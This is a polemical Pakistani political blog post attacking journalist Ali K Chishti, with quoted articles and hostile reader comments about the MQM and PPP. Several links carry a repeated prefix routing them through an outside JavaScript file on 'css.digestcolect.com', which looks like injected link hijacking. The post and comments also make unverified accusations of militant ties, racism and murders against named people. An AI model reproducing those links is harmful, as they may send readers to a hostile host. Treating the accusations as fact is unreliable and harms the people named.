Disclaimer: The following post does not represent the LUBP’s view point. This is based on my personal opinion.

Not unlike paid journalists with vested interests, it has become a fashion amongst bloggers and media activists to present themselves as freelance, neutral analysts, however, their loyalties and agenda remain firmly committed to their political or ideological masters. A dominant majority of such disguised neutrals have a middle class urban background, and they remain interested in biasing and influencing the public opinion by distorting and misrepresenting certain facts.

Indeed, we don’t have an issue if such bloggers and media activists were transparent about their political or ideological affiliation. However the problem starts when such bloggers feign neutrality and objectivity in maligning and criticizing other political parties (except their own party) whereas their agendas and analyses are clearly neither impartial nor objective.

One such example is an agency connected activist, namely Ali K Chishti, who writes as a freelance, neutral media person for various newspapers and blogs, and is known for his sympathies to Deobandi militants of Sipah-e-Sahaba (ASWJ-LeJ), presents himself as an influential media persons of the MQM, is known for ShiaPhobia, something which he tries to hide and camouflage.

Mr Chishti recently wrote an article full of divisive and baseless propaganda against the LUBP. The piece was titled “The Real Agenda of LUBP Fascists”. I am not providing the complete URL of the article because of certain reasons, however, here is an extract: /2010/11/08/the-real-agenda-of-lubp-fascists/ (written by Ali K Chishti on 8 November 2010) The article was subsequently toned down and retitled at the intervention of the editor of the blog on which appeared.

However, I consider it only fair that if someone is alleging us of pursuing a fascist agenda, we are entitled to know what is the agenda of the person hurling a baseless allegation against us. Please note that my aim here is not attack the person of Mr Ali K Chishti who I respect as a human being. The aim instead is to use an example to demonstrate the reality and tactics of our urban middle class analysts with a carefully disguised political agenda.

First, the context:

This is what Mr Ali K Chishti wrote about the PPP:

Under Standing PPP-Sindh
a) Sindh which is practically and administratively divided into two provinces (Urban and Rural) where there’s many interest groups working inside the Pakistan People’s Party. It has folks like N.D Khan, Taj Haider to feudal like, Ameen Faheem etc..
b) And there’s an intra-People’s Party War going on inside the Pakistan People’s Party Sindh faction especially where the party is divided between
Pir Mazhar Ali Shah, Nisar Khuro, Shazia Marri Camp who thinks that PPP is hijacked by unwanted folks like, Agha Siraj Durrani, Zulfiqar Mirza.

Pir Mazhar Ali Shah also envisions himself as the new Chief Minister, Sindh too. The rivalry is such that on record Nisar Khuro and Pir Mazhar Ul Haq tells the media that PPP-Sindh has administratively ‘failed’. Sherry Rehman backs Nisar Khuro Group.
c) And than there’s Nabeel Gabol and Rehman Dakaith’s Lyari and People’s Amn Committee which is the ‘hit squad’ for Zulfiqar Mirza who single handedly veto’s all action against People’s Amn Committee and is a tug of war with Rehman Malik who also thinks ‘Lyari Seat’ could cost PPP’s government.
(http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=WJwoarxFBjs)
d) Remember Rehman Dakaith was a passionate follower of Benazir Bhutto and was enraged after her killing and was behind killing Khaled Shahanshah who was deeply linked with Karachi’s underworld. Rehman Dakaith killed Khaled Shahanshah because Rehman Dakaith see Khaled Shahanshah as one of persons involved in killing Bibi. One of the reason’s why we also don’t see Faisal Raza Abidi in Karachi too is because, Rehman Dakaith wanted to kill him too and there are elements within Lyari who would assassinate Faisal Raza Abidi if he comes to Karachi. Uzair Baloch is the new Rehman Dakaith now.
e) It should be noted that Rehman Dakaith was killed by CID’s Chaudry Aslam who on record worked for Daud Ibrahim and Shoaib Khan once.

The Attack on Sherry Rehman’s House was unprecedented and shows the frustration of psyche of certain inner circles of Pakistan People’s Party leadership but the point to be noted that,
a) That for the first time People’s Amn Committee gangsters from Lyari were used by the People’s Party.
b) That more than 300-350 some of them armed men from Lyari fired shots at Sherry Rehman’s House in one of the poshest localities of Karachi.
c) That PPP Karachi’s chief, Najmi Alam along with Zulfiqar Mirza sponsored the event to teach Sherry Rehman a lesson. Hence, two serving SHO’s of Karachi Police namely Muhammad Hussain Tunaio was there to actually give protection to the mob not arrest them.
d) In a television program when I asked, Shirmila Farooqi about as to why no action was taken against the terrorists who attacked Sherry Rehman’s House the answer was, “but she never filed an FIR”. Great answer. No statement from Zulfiqar Mirza on the attacks. It should be noted whatever’s Sherry’s fault but the attack on her house totally exposed PPP and gives us an impression.

This is where Mr Ali K Chishti attacked the LUBP:

Title of the post: The Real agenda of LUBP Fascists

Astoundingly, PPP supporters instead of actually condemning this and introspect are defending such an attack.

I would also appreciate if you folks stop name calling on those who criticize? I mean than what’s the point of actually naming the blog critical supporters?

Who need enemies with friends like you?

I consider it apt now to refer the LUBP readers to an unfortunate event which took place a year ago; which truly reflects the nature of the menace that we are currently dealing with.

In an article published at pkpolitics.com (extracts cross-posted below), Mr Gehla provides a detailed account of the ethnocentric and mafia style tactics of the MQM bloggers.

Mr Gehla laments that MQM had a fair opportunity to transform itself, abandon the culture of gun and promote tolerant elements within it, however, it has miserably failed in doing so. Mr Gehla wonders if a group associated with such activities (target killings, bhatta khori, violence and harassment) may survive in times of today’s media and global village?

Mr Gehla provides a detailed account of how MQM bloggers actually took over his blog Islamabad Observer in an unethical manner.

How much MQM has transformed itself can be judged by recent incident when party decided to take on bloggers community. On facebook page of Dr. Awab Alvi, I had an argument with Mr. Ali K Chishti, who claims himself to be Vice Chairman of MQM ‘Professionals’. Mr. Chishti was calling Punjabi’s as Bastards and ‘biggest gali’ on earth, Dr. Awab and many other are witnesses to the incident.

I wrote an article on http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&islamabadobserver.wordpress.com/2009/03/29/support-me-bastards-an-open-letter-to-altaf-hussain/ asking MQM to take action against its office bearer for using abusive language against Pujabi’s. Many of MQM sympathizers tried to twist the issue; however Mr. Faisal Sabzwari very honourably came up with an apology and condemned the racist remarks of Mr. Chishti.

The rage and hatred of Mr. Chishti was unknown to me until someone went and registered a website www. Islamabadobserver.com.  This time Mr. Chishti comes up with a new approach which is reflected from his comments below on Teeth Meastro;

Comment by Barrister Ali K.Chishti on April 29, 2009 @ 2:06 pm

””””’so whats the alternative?

Provincial Autonomy is one alternative and a long lasting one too – distrubution of resources and reforming the whole NFC Award Structure (from population to share on earning) is another one ….18th Amendment should be accepted and endorsed by the parliment on a.s.a.p basis.

For Heaven Sakes, Unite on Such Issues for the betterment of Pakistan – at a same time realze the importance of threat from the Qutbi’s who call themselves Talibans – our biggest national security threat ever!

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.islamabadobserver.com << Taliban’s Website? and PTA doesn’t ban it! what is the real agenda of this website?””””””””””

His dirty trick was countered and exposed by a Pakistani Blogger Momekh and further by Teeth Meastro on his blog;

“””““Momekh – I suspect the exact same.

It was in late end of March that AKC and Nadeem Gehla [Islamabadobserver.wordpress.com] had their run in on my facebook status which was extensively reported by Ahmed Nadeem

Faisal Sabzwari very honorably came on the blog and politely apologized on 29th of March– and more or less gently snubbed on AKC

Dear Mr. Nadeem
I’m really shocked to see that Mr. Chishti has used these remarks in his posts. As a Policy MQM does not support racism or anything close to it. I know that many of the readers HERE might have their own logics or reasons to prove me wrong but I’m clarifying Officially on behalf of MQM. I’ve gone through with the language of the original post and comments, which are disturbing to me and many others, but I believe that being Pakistanis we should stop calling each others names. Again apologies if someone associated from the MQM has done anything which can not be supported.

Regards
Faisal Subzwari
Joint Organiser Communication & Media Management Wing MQM

Then suddenly on 2nd April someone registers a domain name of IslamabadObserver.com

It remained unnoticed until I hear reports a Taliban video early one morning – which as soon as I saw it on youtube got pulled down by Youtube nowhere to be found – then out comes Ali Raza Abidi on BLOGAP sharing the link on Islamabadobserver.com

I am suspecting something fishy – the coincidence of registration of the site and the promotion by MQM in ref to the Taliban video  alone seems fishy.

Then just merely to try and throw a curve ball AKC has the gall to email me and say on 23rd April

“Do you seriously own Islamabad Observer? who owns it? this is bad! :S
AKC.”

Yes old habits die hard, I just hope that the all-good-good sparkly-new MQM attitude is not merely a game face for us all””””’

I complained to MQM central secretariat and had phone conservation with Mr. Anees Advocate. He was not only polite and humble but he also condemned the dirty act of cloning of Islamabad Observer Blog. What surprised me that he refused to recognize any Ali K Chishti to be office bearer of MQM or even the existence of any ‘Professionals Wing’ in MQM of which Mr. Chsishti claims to be Vice Chairman. However he promised me to investigate if any ‘Chishti’ existed as MQM office bearer. This brings us back to the recently held ‘All Pakistan Bloggers Conference’ in Karachi where Mr. Chishti participated as an office bearer of MQM professionals along with Dr. Farooque Sattar, a minister of MQM.

Once again we are in same cycle. This time bloggers are the target and MQM is the player. Cloning websites and extending threats. The same old story of threats, bully and cover up. Will it really work? I doubt. It did not work for Musharraf who had more guns under his control. It had never worked in history. Will MQM be able to silence media, blogs and control electronic world? Today MQM is on same cross road which decides the fate of such organizations.

Every 12^th of May will earn more public hatred. Every effort to bully media and clone blogs will result in to more criticism. Each curse and name calling on other ethnicities will result in to more isolation. There is only one way forward. Transform in to a political party and learn tolerance. Clean itself from racist, gun wielding and intolerant elements which are earning isolation for the group. Otherwise an isolated group of gunmen has never existed for too long. Transform or vanish. Tricks, cover-ups, cloning and bully is not going to work in present times. (Source: pkpolitics.com)

Comments:

Farrukh:

The presence of A.K Chishti aka AKC from London is entertaining. AKC is a familiar name for playing tricks in Blogging world. Due to his extremely hostile and fascist approach …and also due to his affiliation with MQM, he is also known as AK47. He used to attach barrister with his name (God knows better about him) since few months he also became a defense analyst and opened a front against Madrassa…. When the whole Pakistan and the whole world and even American human right activists were protesting over American Supreme Court’s verdict, the so called intellectual giant Mr. A K Chishti was trying hard to prove that Dr.Afia Siddiqi was guilty as charged. Irony is that his own party (MQM) started protesting over injustice against Dr.Afia Siddiqi (at least after murder investigations of Dr.Imran Farooq)

abdul hameed:
Btw, The comments by Qudsia about AKC are appropriate. This upstart is MQM plant and I find it difficult to believe that he writes all those articles because when asked about the same issues on TV he almost never has any answer.

msohail83 said:
Sounds like a good topic for ‘Wired and Active” program on Dawn News. They should expose the MQM propaganda brigade online. Shame on these thugs.

sagaciouscorpion said:
well… I think MQM is finding difficult to deceive people in this electronic age… so they have decided to take on the media and blogger community……. but this time they really need to decide… either they start acting sensibly or keep getting exposed… obviously they have succeeded in quietening the media but bloggers is totally different story… you can not threaten to kill some one if he is not using his real name… can you? if you cant identify, you can not quieten him ……… so this time their gunda tactics will finally not work….

imran25 said:
i think these bhatta khors are quite upset and using these dirty and cheap tricks.

gazi313 said:
When poitics and daily living get saparated from ethics and traditional moral standards, these are the likely results. No solution but return to tell the truth and listen to it. Allah save Pakistan

badipak said:
Presently MQM is in problums in due course when local body election in comming days and theycant win majority in Karachi due to no support from highups. Present local gov of sindh belongs to PPPP and also in center. Without rigging they cant took majority in Karachi and Hydrabad cities etc.

Yes they can majority in the center of Karachi only. Every person who leave in Karachi know that all urdu speaking are not MQM loyals and they are in other political and relegious lovals and as well as all the sindhi speaking/punjabi/balochi/mianwali/khachhi/gujrati and seraiki and Pastoon speaking are more than 65% are in Karachi. now only 35% urdu speaking and out of them 10 to 20% max they are loyal or supporter of MQM. by relative or area and by gun or theats reasons.
If fair election and only municipal councellor for every 5000 voters to be held in karachi and one voter one vote basis. and than see only out of 2500 conceller MQM max win 400 seats out of 2500.
I my view the time of death or end is in due time of MQM
ALLAH NIGEH BAN

Zyxius on May 14, 2009 8:36:49 am
“Anti-MQM forces”? You mean helpless Karachiites who have been subjected to extortion, coercion, kidnapping and bhatta by MQM? You make it sound as if the “Anti-MQM forces” are an armed group with strength whereas the truth is that the MQM is the armed militant organization and those who oppose it in Karachi are typically educated people who are disgusted with its methods.

Regardless of features of one of the faces of MQM you are talking about, the many other faces cannot be ignored. This party, like most others, cannot fund itself without its “earners” who do the type of things that MQM is famous for in order to pay the big man in London. Babar Ghauri, Ishrat-ul-Ibad, Waseem Akhtar, Mustafa Kamal….how many FIRs do you think are registered against each of these people for murder? DId you know that Altaf had 240 cases of murder against him dismissed during Musharraf’s era?

Ali Chishti, the fact of the matter is that the liberals such as yourself are willing to entertain murder, fascism, dictatorship, foreign invasion, bombing civilians and every other unimaginable treason against the people of your own country just because you feel a moral and intellectual self-righteousness in your beliefs over those of all others. For you people, secularism is the end that justifies any means. In the end, secularism as you want it is nothing less than tyranny.

malikrashid on May 14, 2009 1:59:16 pm
Who killed the innocent rickshawallas and other Pathans a couple of weeks ago? Who has been killing their haqiqi opponents? Not that Amir or Afaq are any angels. Who killed Najeeb? Who killed the MQM leader Azim Tariq? Who got innocent cricket-playing boys into guns and murders until they themselves were murdered by law-enforcement agencies?

There was a leader who asked people to buy guns instead of VCRs. They thrived on the support of ISI and when their mentors pressured them, they kidnapped and tortured their ISI contact. I have heard that some parts of his body was skinned. Some corpses were found with holes drilled through their bones. They had been tortured for weeks. MQM is a party with a large vote bank and they represent the most populous city in Pakistan but they do not have the political vision to lead. Why did MQM oppose the lawyer’s movement? Why did they support Musharraf’s emergency rule? At one time it was the army who decided for MQM by keeping them out of the elections once, then bringing them back into contest a couple of years later. Political leadership in Pakistan is at a shameful low. Most politicians are bullies and criminals.

vanguard on May 14, 2009 10:22:11 pm
Aren’t you Barrister Ali K Chishti who is known for spamming websites with MQM propaganda and threatening other bloggers on their websites when they write anything against MQM?

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&pkpolitics.com/2009/04/30/mqm-target-bloggers/

MQM was and will forever remain a ethnic terrorist party

Zyxius on May 14, 2009 11:48:57 pm
Hey thanks Vanguard, This Ali Chishti guy is an MQM fanatic whom even Faisal Sabwari recently chastised for his fanaticism. Not only does this joker claim to be the Vice Chairman of some MQM professionals forum, but the MQM itself disowned him according to the same link you sent. Strange that Chowk allows such confirmed propagandists and liars to publish on the front page like this. I think Mr Ali K Chishti deserves more coverage and should be fully exposed for the buffoon he is. (Source)

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